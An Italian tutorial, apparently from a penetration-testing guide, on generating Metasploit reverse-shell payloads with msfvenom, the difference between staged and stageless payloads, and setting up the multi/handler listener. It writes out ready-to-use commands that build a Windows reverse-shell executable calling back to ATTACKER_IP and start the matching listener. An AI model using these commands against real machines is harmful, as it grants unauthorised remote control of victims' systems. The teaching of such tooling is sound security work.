Msfvenom permette di creare reverse shell di diversi tipi di formati come per esempio python, war, exe, ecc. La sinstassi standard è:
msfvenom -p payload -option Esempio:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>Dove:
- -f è il formato
- -o il nome del file da creare
- LHOST l’indirizzo IP della macchina attaccante
- LPORT la porta in ascolto dell’attaccante
I payload di Metasploit si dividono in:
-
Stageless: Questi tipi di payload sono script che immettono nella vittima tutto il codice necessario per ottenere la reverse shell, il che può risultare sconveniente quando per esempio la vittima è dotata di sistemi di rilevamento di payload e quindi bloccare la richiesta.
-
Staged: Questi tipi di payload al contrario degli stageless prima di immettere tutto il codice necessario alla reverse shell stabiliscono una connessione sicura con la macchina vittima e una volta instaurata la connessione immettono il resto del codice che è necessario alla reverse shell, questi tipi di payload possono risultare più efficaci in quasi tutte le circostanze.
Per riconoscere il tipo di stato se stageless o staged di un determinato payload ci è sufficiente guardare se il payload è separato da / o da _ , se è separato da uno / allora è staged, mentre se è separato da un _ allora è stageless.
Esempio di payload stageless:
linux/x86/meterpreter_reverse_tcpEsempio di payload staged:
linux/x86/meterpreter/reverse_tcpIn Metasploit la denominazione dei payload ha una sua sintassi che è la seguente:
<OS>/<arch>/<payload>Esempio:
linux/x86/shell_reverse_tcpPer ricevere la reverse shell non possiamo usare netcat, ma uno strumento specifico di Metasploit chiamto expolit/multi/handler.
Lo si può attivare o da metasploit tramite i seguenti comandi:
search exploit/multi/handler
use exploit/multi/handler
set payload <payload>
set lhost <IP attaccante>
set lport <PORTA attaccante>
Attenzione al payload da inserire perchè deve essere lo stesso che si è andato a creare durante il processo di creazione del file payload tramite msfvenom, altrimenti la connessione non avverrà.
Per attivare il listener possiamo anche utilizzare una sintassi che ci permette di entrare in metasploit, di seguito metterò la creazione del payload tramite msfvenom con il suo relativo listener da riga di comando:
#Questo comando serve a creare un file con una reverse shell per Windows
msfvenom -p windows/shell/reverse_tcp -f exe LHOST=ATTACKER_IP LPORT=4444 -o shell.exe
#Questo è il suo relativo listener multi/handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; exploit"
Per avere una lista più approfondita di payload e relativi listener andare alla seguente pagina Payloads Msfvenom.
Nota importante
Il payload una volta caricato sulla macchina vittima gli vanno dati i permessi di esecuzione altrimenti il payload non funzionerà.